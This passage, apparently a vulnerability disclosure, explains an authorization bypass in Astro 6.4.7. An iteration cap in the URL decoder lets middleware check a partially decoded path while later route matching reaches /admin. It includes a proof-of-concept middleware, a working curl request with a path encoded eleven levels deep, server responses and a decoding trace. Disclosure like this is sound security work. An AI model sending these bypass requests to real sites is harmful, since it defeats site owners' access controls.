Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Summary
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.
As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions
Vulnerable Pattern
Middleware authorization sees:
```text
/%61dmin
```
Later rewrite route matching sees:
```text
/admin
```
This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
Root Cause
Iterative Decoding Logic
PR #16967 introduced iterative URI decoding:
```js
let iterations = 0;
while (decoded !== pathname && iterations < 10) {
pathname = decoded;
try {
decoded = decodeURI(pathname);
} catch {
// decodeURI can fail when a decoded literal '%' forms an
// invalid sequence with adjacent characters.
break;
}
iterations++;
}
return decoded;
```
The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
Rewrite Route Matching
Later, Astro performs another decode during route matching:
```js
const decodedPathname = decodeURI(pathname);
```
Consequently:
```text
Middleware pathname: /%61dmin
Route matcher: /admin
```
This creates a canonicalization mismatch between authorization logic and routing logic.
Proof of Concept
Middleware
```js
import { defineMiddleware } from 'astro:middleware';
export const onRequest = defineMiddleware(async (context, next) => {
const pathname = context.url.pathname;
if (pathname === '/admin' || pathname.startsWith('/admin/')) {
return new Response(
'403 Forbidden: middleware blocked canonical /admin',
{
status: 403,
headers: {
'content-type': 'text/plain;charset=UTF-8',
'x-middleware-pathname': pathname,
},
}
);
}
if (pathname !== '/') {
const response = await next(context.url);
response.headers.set('x-middleware-pathname', pathname);
response.headers.set(
'x-vuln-pattern',
'next(context.url) rewrite after pathname check'
);
return response;
}
return next();
});
```
The critical pattern is:
```js
return next(context.url);
```
The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
Reproduction
Protected Route
```bash
curl -i http://127.0.0.1:8989/admin
```
Response:
```http
HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin
403 Forbidden: middleware blocked canonical /admin
```
Bypass Request
```bash
curl -i http://127.0.0.1:8989/%252525252525252525252561dmin
```
Response:
```http
HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check
Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin
```
This demonstrates:
```text
Middleware saw: /%61dmin
Router reached: /admin
```
Encoding Depth Analysis
The bypass occurs at encoding depth 11.
Decoder Trace
```text
depth 0: /%61dmin -> /admin
depth 1: /%2561dmin -> /admin
depth 2: /%252561dmin -> /admin
depth 3: /%25252561dmin -> /admin
depth 4: /%2525252561dmin -> /admin
depth 5: /%252525252561dmin -> /admin
depth 6: /%25252525252561dmin -> /admin
depth 7: /%2525252525252561dmin -> /admin
depth 8: /%252525252525252561dmin -> /admin
depth 9: /%25252525252525252561dmin -> /admin
depth 10: /%2525252525252525252561dmin -> /admin
depth 11: /%252525252525252525252561dmin -> /%61dmin
```
Depths 0–10 are fully decoded and blocked by middleware.
Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.
A later decodeURI() converts:
```text
/%61dmin
```
into:
```text
/admin
```
allowing route matching to reach the protected endpoint.
Exploit Preconditions
Exploitation requires:
1. Path-Based Authorization
Middleware performs authorization using:
```js
context.url.pathname
```
For example:
```js
i
